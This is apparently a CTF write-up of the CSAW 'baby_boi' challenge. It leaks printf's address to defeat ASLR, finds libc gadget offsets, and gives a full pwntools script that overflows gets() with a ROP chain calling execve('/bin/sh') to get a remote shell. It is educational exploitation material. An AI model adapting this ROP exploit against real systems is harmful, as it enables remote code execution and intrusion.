`baby_boi` is pretty much the simplest possible modern ROP (the modern security protections NX and ASLR are not artificially disabled, but you get everything you need to work around them). We even get source code.
```c#include <stdio.h>#include <stdlib.h>
int main(int argc, char **argv[]) {  char buf[32];  printf("Hello!\n");  printf("Here I am: %p\n", printf);  gets(buf);}```
The printf leak looks like:
```$ nc pwn.chal.csaw.io 1005Hello!Here I am: 0x7f3c0a0b3e80```
Let's figure out its offset in libc, by grepping the output of `readelf` on the provided libc:
```$ readelf -s libc-2.27.so | grep ' printf@'   627: 0000000000064e80   195 FUNC    GLOBAL DEFAULT   13 printf@@GLIBC_2.2.5```
So `printf` is at offset `0x64e80` in the server's libc. Gathering ROP gadgets:
```$ ROPgadget --binary libc-2.27.so > gadgets.txt```
For the full exploit, we decide that we want to set up the stack like this (top to bottom), where parentheses denote the location of the ROP gadget.
```(pop rax ; ret)0x3b(pop rdi ; ret)(pointer to "/bin/sh")(pop rdx ; pop rsi ; ret)00(syscall)```
```0x00000000000439c8 : pop rax ; ret0x000000000002155f : pop rdi ; ret0x00000000001306d9 : pop rdx ; pop rsi ; ret0x00000000000d2975 : syscall ; ret```
```$ strings -tx libc-2.27.so | grep /bin/sh 1b3e9a /bin/sh```
### The Full Exploit
```pythonfrom pwn import *
# One of the many magic things pwntools does is that you can accept arguments# from the environment or command line with zero setup, e.g. run this script as##     $ python exploit.py REMOTE## to run it against the remote server, or don't pass REMOTE to run it locally.
if args['REMOTE']:    conn = remote('pwn.chal.csaw.io', 1005)else:    conn = process('baby_boi')
# conn.recvuntil("some string") is often more useful, but the input here# doesn't have a super obvious terminator, so we read line by line.conn.recvline()ptr_line = conn.recvline()ptr_text = re.search(r'0x([0-9a-z]+)', ptr_line.decode('utf-8')).group(1)printf_ptr = int(ptr_text, 16)libc_base = printf_ptr - 0x64e80
# The ROP chain, using these offsets as found above:# 0x00000000000439c8 : pop rax ; ret# 0x000000000002155f : pop rdi ; ret# 0x00000000001306d9 : pop rdx ; pop rsi ; ret# 0x1b3e9a /bin/sh# 0x00000000000d2975 : syscall ; retexploit = b"a" * 40 # paddingexploit += p64(libc_base + 0x439c8) # `pop rax ; ret`exploit += p64(59) # execve's syscall number, popped into raxexploit += p64(libc_base + 0x2155f) # `pop rdi ; ret`exploit += p64(libc_base + 0x1b3e9a) # "/bin/sh"exploit += p64(libc_base + 0x1306d9) # `pop rdx ; pop rsi ; ret`exploit += p64(0) # NULL, popped into rdxexploit += p64(0) # NULL, popped into rsiexploit += p64(libc_base + 0xd2975) # `syscall; ret`exploit += b"\n"
# Send the exploitconn.sendline(exploit)# This should pop a shell, so now let us interact with the shellconn.interactive()```
[More details](https://blog.vero.site/post/baby-boi)